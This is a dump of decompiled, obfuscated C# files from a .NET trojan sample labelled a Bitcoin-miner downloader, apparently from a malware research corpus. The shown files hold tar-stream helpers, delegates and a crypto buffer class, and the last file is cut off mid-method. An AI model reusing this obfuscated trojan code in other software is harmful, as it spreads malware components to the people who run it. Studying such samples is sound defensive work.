+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0017\u0002;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u000E\u0002
+{
+  internal sealed class \u0016\u0002
+  {
+    private int \u0001;
+    private byte[] \u0002;
+    private int \u0003;
+    private byte[] \u0004;
+    private int \u0005;
+    private ICryptoTransform \u0006;
+    private Stream \u0007;
+
+    public \u0016\u0002([In] Stream obj0, [In] int obj1)
+    {
+      this.\u0007 = obj0;
+      if (obj1 < 1024)
+        obj1 = 1024;
+      this.\u0002 = new byte[obj1];
+      this.\u0004 = this.\u0002;
+    }
+
+    [SpecialName]
+    public int \u0084\u0004() => this.\u0001;
+
+    [SpecialName]
+    public int \u0086\u0004() => this.\u0005;
+
+    public void \u0087\u0004([In] \u0013 obj0)
+    {
+      if (this.\u0005 <= 0)
+        return;
+      obj0.\u001A\u0003(this.\u0004, this.\u0003 - this.\u0005, this.\u0005);
+      this.\u0005 = 0;
+    }
+
+    public void \u009C\u0003()
+    {
+      this.\u0001 = 0;
+      int num;
+      for (int length = this.\u0002.Length; length > 0; length -= num)
+      {
+        num = \u0089\u0005.\u007E\u000F\u0005((object) this.\u0007, this.\u0002, this.\u0001, length);
+        if (num > 0)
+          this.\u0001 += num;
+        else
+          break;
+      }
+      this.\u0003 = this.\u0006 == null ? this.\u0001 : \u0094\u0003.\u007E\u0099\u0005((object) this.\u0006, this.\u0002, 0, this.\u0001, this.\u0004, 0);
+      this.\u0005 = this.\u0003;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate byte[] \u000E\u0003([In] string obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Collections;
+using System.Runtime.InteropServices;
+
+internal delegate IEnumerator \u000E\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000E_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.IO;
+using System.Runtime.InteropServices;
+
+internal delegate Stream \u000E\u0005([In] object obj0, [In] string obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000F_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate void \u000F\u0003([In] object obj0, [In] int obj1, [In] char obj2);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000F_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate int \u000F\u0004([In] object obj0, [In] string obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_000F_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Drawing;
+using System.Runtime.InteropServices;
+
+internal delegate void \u000F\u0005([In] object obj0, [In] Size obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010/_000F.cs

@@ -0,0 +1,25 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0006;
+using System;
+
+namespace \u0010
+{
+  internal sealed class \u000F
+  {
+    public static void \u0007\u0003()
+    {
+      try
+      {
+        \u00062.\u0089();
+      }
+      catch (Exception ex)
+      {
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_000F_0002.cs

@@ -0,0 +1,60 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0010\u0002;
+using System;
+using System.Runtime.InteropServices;
+
+namespace \u0010\u0002
+{
+  internal sealed class \u000F\u0002 : IDisposable
+  {
+    private string \u0001 = string.Empty;
+    private string \u0002 = string.Empty;
+    private \u0014\u0002 \u0003;
+    private \u0015\u0002 \u0004;
+    private bool \u0005;
+
+    protected \u000F\u0002()
+    {
+    }
+
+    public void Dispose()
+    {
+      this.Dispose(true);
+      \u0093\u0003.\u007F\u0003((object) this);
+    }
+
+    protected virtual void Dispose([In] bool obj0)
+    {
+      if (this.\u0005)
+        return;
+      this.\u0005 = true;
+      if (!obj0)
+        return;
+      if (this.\u0004 != null)
+      {
+        \u0093\u0003.\u007E\u0007\u0005((object) this.\u0004);
+        \u0093\u0003.\u007E\u0006\u0005((object) this.\u0004);
+      }
+      if (this.\u0003 == null)
+        return;
+      \u0093\u0003.\u007E\u0006\u0005((object) this.\u0003);
+    }
+
+    ~\u000F\u0002()
+    {
+      try
+      {
+        this.Dispose(false);
+      }
+      finally
+      {
+        \u0093\u0003.\u0096((object) this);
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0011_0002.cs

@@ -0,0 +1,140 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using ICSharpCode.SharpZipLib.Tar;
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0010\u0002
+{
+  internal sealed class \u0011\u0002
+  {
+    private Stream \u0001;
+    private Stream \u0002;
+    private byte[] \u0003;
+    private int \u0004;
+    private int \u0005;
+    private int \u0006 = 10240;
+    private int \u0007 = 20;
+    private bool \u0008 = true;
+
+    [SpecialName]
+    public int \u009D\u0003() => this.\u0006;
+
+    [SpecialName]
+    public int \u009E\u0003() => this.\u0007;
+
+    protected \u0011\u0002()
+    {
+    }
+
+    public byte[] \u009F\u0003()
+    {
+      if (this.\u0001 == null)
+        throw new TarException(\u0008.\u000E\u0003(1870));
+      if (this.\u0004 >= this.\u009E\u0003() && !this.\u0001\u0004())
+        throw new TarException(\u0008.\u000E\u0003(1931));
+      byte[] numArray = new byte[512];
+      \u008F\u0003.\u0098((Array) this.\u0003, this.\u0004 * 512, (Array) numArray, 0, 512);
+      ++this.\u0004;
+      return numArray;
+    }
+
+    private bool \u0001\u0004()
+    {
+      if (this.\u0001 == null)
+        throw new TarException(\u0008.\u000E\u0003(1964));
+      this.\u0004 = 0;
+      int num1 = 0;
+      long num2;
+      for (int index = this.\u009D\u0003(); index > 0; index -= (int) num2)
+      {
+        num2 = (long) \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, num1, index);
+        if (num2 > 0L)
+          num1 += (int) num2;
+        else
+          break;
+      }
+      ++this.\u0005;
+      return true;
+    }
+
+    public void \u0002\u0004([In] byte[] obj0)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(2005));
+      if (this.\u0002 == null)
+        throw new TarException(\u0008.\u000E\u0003(2014));
+      if (obj0.Length != 512)
+        throw new TarException(\u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(2079), (object) obj0.Length, (object) 512));
+      if (this.\u0004 >= this.\u009E\u0003())
+        this.\u0003\u0004();
+      \u008F\u0003.\u0098((Array) obj0, 0, (Array) this.\u0003, this.\u0004 * 512, 512);
+      ++this.\u0004;
+    }
+
+    public void \u0002\u0004([In] byte[] obj0, [In] int obj1)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(568));
+      if (this.\u0002 == null)
+        throw new TarException(\u0008.\u000E\u0003(2204));
+      if (obj1 < 0 || obj1 >= obj0.Length)
+        throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577));
+      if (obj1 + 512 > obj0.Length)
+        throw new TarException(\u0091\u0004.\u001B\u0002(\u0008.\u000E\u0003(2277), (object) obj0.Length, (object) obj1, (object) this.\u0006));
+      if (this.\u0004 >= this.\u009E\u0003())
+        this.\u0003\u0004();
+      \u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0003, this.\u0004 * 512, 512);
+      ++this.\u0004;
+    }
+
+    private void \u0003\u0004()
+    {
+      if (this.\u0002 == null)
+        throw new TarException(\u0008.\u000E\u0003(2423));
+      \u001F\u0004.\u007E\u0011\u0005((object) this.\u0002, this.\u0003, 0, this.\u009D\u0003());
+      \u0093\u0003.\u007E\u0007\u0005((object) this.\u0002);
+      this.\u0004 = 0;
+      ++this.\u0005;
+    }
+
+    private void \u0004\u0004()
+    {
+      if (this.\u0002 == null)
+        throw new TarException(\u0008.\u000E\u0003(2488));
+      if (this.\u0004 > 0)
+      {
+        int num = this.\u0004 * 512;
+        \u0099\u0004.\u0099((Array) this.\u0003, num, this.\u009D\u0003() - num);
+        this.\u0003\u0004();
+      }
+      \u0093\u0003.\u007E\u0007\u0005((object) this.\u0002);
+    }
+
+    public void Close()
+    {
+      if (this.\u0002 == null)
+      {
+        if (this.\u0001 == null)
+          return;
+        if (this.\u0008)
+          \u0093\u0003.\u007E\u0006\u0005((object) this.\u0001);
+        this.\u0001 = (Stream) null;
+      }
+      else
+      {
+        this.\u0004\u0004();
+        if (this.\u0008)
+          \u0093\u0003.\u007E\u0006\u0005((object) this.\u0002);
+        this.\u0002 = (Stream) null;
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0012_0002.cs

@@ -0,0 +1,40 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0010\u0002;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0010\u0002
+{
+  internal sealed class \u0012\u0002 : ICloneable
+  {
+    private string \u0001;
+    private \u0013\u0002 \u0002;
+
+    private \u0012\u0002() => this.\u0002 = new \u0013\u0002();
+
+    public object Clone()
+    {
+      \u0012\u0002 obj = new \u0012\u0002();
+      obj.\u0001 = this.\u0001;
+      obj.\u0002 = (\u0013\u0002) this.\u0002.Clone();
+      obj.\u0006\u0004(this.\u0005\u0004());
+      return (object) obj;
+    }
+
+    public override bool Equals([In] object obj0) => obj0 is \u0012\u0002 obj && \u0006\u0004.\u007E\u009F((object) this.\u0005\u0004(), obj.\u0005\u0004());
+
+    public override int GetHashCode() => \u0011\u0003.\u007E\u0095((object) this.\u0005\u0004());
+
+    [SpecialName]
+    public string \u0005\u0004() => this.\u0002.\u0005\u0004();
+
+    [SpecialName]
+    public void \u0006\u0004([In] string obj0) => this.\u0002.\u0006\u0004(obj0);
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0013_0002.cs

@@ -0,0 +1,192 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0010\u0002;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0010\u0002
+{
+  internal sealed class \u0013\u0002 : ICloneable
+  {
+    private static readonly DateTime \u0001 = new DateTime(1970, 1, 1, 0, 0, 0, 0);
+    private string \u0002;
+    private int \u0003;
+    private int \u0004;
+    private int \u0005;
+    private long \u0006;
+    private DateTime \u0007;
+    private int \u0008;
+    private byte \u000E;
+    private string \u000F;
+    private string \u0010;
+    private string \u0011;
+    private string \u0012;
+    private string \u0013;
+    private int \u0014;
+    private int \u0015;
+    internal static string \u0016 = \u0008.\u000E\u0003(2604);
+    internal static int \u0017;
+    internal static int \u0018;
+    internal static string \u0019 = \u0008.\u000E\u0003(2604);
+    internal static string \u001A;
+
+    public \u0013\u0002()
+    {
+      this.\u0018\u0004(\u0008.\u000E\u0003(2557));
+      this.\u001A\u0004(\u0008.\u000E\u0003(2566));
+      this.\u0006\u0004(\u0008.\u000E\u0003(837));
+      this.\u0016\u0004(\u0008.\u000E\u0003(837));
+      this.\u0008\u0004(\u0013\u0002.\u0017);
+      this.\u000F\u0004(\u0013\u0002.\u0018);
+      this.\u001C\u0004(\u0013\u0002.\u001A);
+      this.\u001E\u0004(\u0013\u0002.\u0019);
+      this.\u0011\u0004(0L);
+    }
+
+    [SpecialName]
+    public string \u0005\u0004() => this.\u0002;
+
+    [SpecialName]
+    public void \u0006\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(943));
+        default:
+          this.\u0002 = obj0;
+          break;
+      }
+    }
+
+    [SpecialName]
+    public int \u0007\u0004() => this.\u0004;
+
+    [SpecialName]
+    public void \u0008\u0004([In] int obj0) => this.\u0004 = obj0;
+
+    [SpecialName]
+    public int \u000E\u0004() => this.\u0005;
+
+    [SpecialName]
+    public void \u000F\u0004([In] int obj0) => this.\u0005 = obj0;
+
+    [SpecialName]
+    public long \u0010\u0004() => this.\u0006;
+
+    [SpecialName]
+    public void \u0011\u0004([In] long obj0) => this.\u0006 = obj0 >= 0L ? obj0 : throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(943), \u0008.\u000E\u0003(2571));
+
+    [SpecialName]
+    public DateTime \u0012\u0004() => this.\u0007;
+
+    [SpecialName]
+    public int \u0013\u0004() => this.\u0008;
+
+    [SpecialName]
+    public byte \u0014\u0004() => this.\u000E;
+
+    [SpecialName]
+    public string \u0015\u0004() => this.\u000F;
+
+    [SpecialName]
+    public void \u0016\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(943));
+        default:
+          this.\u000F = obj0;
+          break;
+      }
+    }
+
+    [SpecialName]
+    public string \u0017\u0004() => this.\u0010;
+
+    [SpecialName]
+    public void \u0018\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(943));
+        default:
+          this.\u0010 = obj0;
+          break;
+      }
+    }
+
+    [SpecialName]
+    public string \u0019\u0004() => this.\u0011;
+
+    [SpecialName]
+    public void \u001A\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(943));
+        default:
+          this.\u0011 = obj0;
+          break;
+      }
+    }
+
+    [SpecialName]
+    public string \u001B\u0004() => this.\u0012;
+
+    [SpecialName]
+    public void \u001C\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          string str = \u0083\u0005.\u001B\u0003();
+          if (\u0011\u0003.\u007E\u0004\u0002((object) str) > 32)
+            str = \u001A\u0005.\u007E\u0007\u0002((object) str, 0, 32);
+          this.\u0012 = str;
+          break;
+        default:
+          this.\u0012 = \u001A\u0005.\u007E\u0007\u0002((object) obj0, 0, \u0013\u0005.\u0087\u0003(32, \u0011\u0003.\u007E\u0004\u0002((object) obj0)));
+          break;
+      }
+    }
+
+    [SpecialName]
+    public string \u001D\u0004() => this.\u0013;
+
+    [SpecialName]
+    public void \u001E\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          this.\u0013 = \u0008.\u000E\u0003(2604);
+          break;
+        default:
+          this.\u0013 = obj0;
+          break;
+      }
+    }
+
+    [SpecialName]
+    public int \u001F\u0004() => this.\u0014;
+
+    [SpecialName]
+    public int \u007F\u0004() => this.\u0015;
+
+    public object Clone() => \u001B\u0005.\u0097((object) this);
+
+    public override int GetHashCode() => \u0011\u0003.\u007E\u0095((object) this.\u0005\u0004());
+
+    public override bool Equals([In] object obj0) => obj0 is \u0013\u0002 obj && \u0080\u0005.\u0001\u0002(this.\u0002, obj.\u0002) && this.\u0003 == obj.\u0003 && this.\u0007\u0004() == obj.\u0007\u0004() && this.\u000E\u0004() == obj.\u000E\u0004() && this.\u0010\u0004() == obj.\u0010\u0004() && \u0017\u0005.\u009C\u0002(this.\u0012\u0004(), obj.\u0012\u0004()) && this.\u0013\u0004() == obj.\u0013\u0004() && (int) this.\u0014\u0004() == (int) obj.\u0014\u0004() && \u0080\u0005.\u0001\u0002(this.\u0015\u0004(), obj.\u0015\u0004()) && \u0080\u0005.\u0001\u0002(this.\u0017\u0004(), obj.\u0017\u0004()) && \u0080\u0005.\u0001\u0002(this.\u0019\u0004(), obj.\u0019\u0004()) && \u0080\u0005.\u0001\u0002(this.\u001B\u0004(), obj.\u001B\u0004()) && \u0080\u0005.\u0001\u0002(this.\u001D\u0004(), obj.\u001D\u0004()) && this.\u001F\u0004() == obj.\u001F\u0004() && this.\u007F\u0004() == obj.\u007F\u0004();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0014_0002.cs

@@ -0,0 +1,116 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0010\u0002;
+using ICSharpCode.SharpZipLib.Tar;
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0010\u0002
+{
+  internal sealed class \u0014\u0002 : Stream
+  {
+    protected long \u0001;
+    protected long \u0002;
+    protected byte[] \u0003;
+    protected \u0011\u0002 \u0004;
+    private readonly Stream \u0005;
+
+    [SpecialName]
+    public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0005);
+
+    [SpecialName]
+    public override bool get_CanSeek() => false;
+
+    [SpecialName]
+    public override bool get_CanWrite() => false;
+
+    [SpecialName]
+    public override long get_Length() => \u007F\u0004.\u007E\u0003\u0005((object) this.\u0005);
+
+    [SpecialName]
+    public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0005);
+
+    [SpecialName]
+    public override void set_Position([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2613));
+
+    public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0005);
+
+    public override long Seek([In] long obj0, [In] SeekOrigin obj1) => throw new NotSupportedException(\u0008.\u000E\u0003(2613));
+
+    public override void SetLength([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2658));
+
+    public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotSupportedException(\u0008.\u000E\u0003(2711));
+
+    public override void WriteByte([In] byte obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2760));
+
+    public override int ReadByte()
+    {
+      byte[] numArray = new byte[1];
+      return \u0089\u0005.\u007E\u000F\u0005((object) this, numArray, 0, 1) <= 0 ? -1 : (int) numArray[0];
+    }
+
+    public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(568));
+      int num1 = 0;
+      if (this.\u0002 >= this.\u0001)
+        return 0;
+      long num2 = (long) obj2;
+      if (num2 + this.\u0002 > this.\u0001)
+        num2 = this.\u0001 - this.\u0002;
+      if (this.\u0003 != null)
+      {
+        int num3 = num2 > (long) this.\u0003.Length ? this.\u0003.Length : (int) num2;
+        \u008F\u0003.\u0098((Array) this.\u0003, 0, (Array) obj0, obj1, num3);
+        if (num3 >= this.\u0003.Length)
+        {
+          this.\u0003 = (byte[]) null;
+        }
+        else
+        {
+          int length = this.\u0003.Length - num3;
+          byte[] numArray = new byte[length];
+          \u008F\u0003.\u0098((Array) this.\u0003, num3, (Array) numArray, 0, length);
+          this.\u0003 = numArray;
+        }
+        num1 += num3;
+        num2 -= (long) num3;
+        obj1 += num3;
+      }
+      while (num2 > 0L)
+      {
+        byte[] numArray = this.\u0004.\u009F\u0003();
+        if (numArray == null)
+          throw new TarException(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(2813), (object) num2, (object) \u0008.\u000E\u0003(2842)));
+        int num4 = (int) num2;
+        int length = numArray.Length;
+        if (length > num4)
+        {
+          \u008F\u0003.\u0098((Array) numArray, 0, (Array) obj0, obj1, num4);
+          this.\u0003 = new byte[length - num4];
+          \u008F\u0003.\u0098((Array) numArray, num4, (Array) this.\u0003, 0, length - num4);
+        }
+        else
+        {
+          num4 = length;
+          \u008F\u0003.\u0098((Array) numArray, 0, (Array) obj0, obj1, length);
+        }
+        num1 += num4;
+        num2 -= (long) num4;
+        obj1 += num4;
+      }
+      this.\u0002 += (long) num1;
+      return num1;
+    }
+
+    public override void Close() => this.\u0004.Close();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0010_0002/_0015_0002.cs

@@ -0,0 +1,156 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0010\u0002;
+using ICSharpCode.SharpZipLib.Tar;
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0010\u0002
+{
+  internal sealed class \u0015\u0002 : Stream
+  {
+    private long \u0001;
+    private int \u0002;
+    private bool \u0003;
+    protected long \u0004;
+    protected byte[] \u0005;
+    protected byte[] \u0006;
+    protected \u0011\u0002 \u0007;
+    protected Stream \u0008;
+
+    [SpecialName]
+    public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0008);
+
+    [SpecialName]
+    public override bool get_CanSeek() => \u0007\u0003.\u007E\u009F\u0004((object) this.\u0008);
+
+    [SpecialName]
+    public override bool get_CanWrite() => \u0007\u0003.\u007E\u0002\u0005((object) this.\u0008);
+
+    [SpecialName]
+    public override long get_Length() => \u007F\u0004.\u007E\u0003\u0005((object) this.\u0008);
+
+    [SpecialName]
+    public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0008);
+
+    [SpecialName]
+    public override void set_Position([In] long obj0) => \u009F\u0004.\u007E\u0005\u0005((object) this.\u0008, obj0);
+
+    public override long Seek([In] long obj0, [In] SeekOrigin obj1) => \u0015\u0004.\u007E\u0008\u0005((object) this.\u0008, obj0, obj1);
+
+    public override void SetLength([In] long obj0) => \u009F\u0004.\u007E\u000E\u0005((object) this.\u0008, obj0);
+
+    public override int ReadByte() => \u0011\u0003.\u007E\u0010\u0005((object) this.\u0008);
+
+    public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2) => \u0089\u0005.\u007E\u000F\u0005((object) this.\u0008, obj0, obj1, obj2);
+
+    public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0008);
+
+    public void \u0080\u0004()
+    {
+      if (this.\u0081\u0004())
+        goto label_2;
+label_1:
+      this.\u0083\u0004();
+      return;
+label_2:
+      this.\u0082\u0004();
+      goto label_1;
+    }
+
+    public override void Close()
+    {
+      if (this.\u0003)
+        return;
+      this.\u0003 = true;
+      this.\u0080\u0004();
+      this.\u0007.Close();
+    }
+
+    [SpecialName]
+    private bool \u0081\u0004() => this.\u0001 < this.\u0004;
+
+    public void \u0082\u0004()
+    {
+      if (this.\u0002 > 0)
+      {
+        \u0099\u0004.\u0099((Array) this.\u0006, this.\u0002, this.\u0006.Length - this.\u0002);
+        this.\u0007.\u0002\u0004(this.\u0006);
+        this.\u0001 += (long) this.\u0002;
+        this.\u0002 = 0;
+      }
+      if (this.\u0001 < this.\u0004)
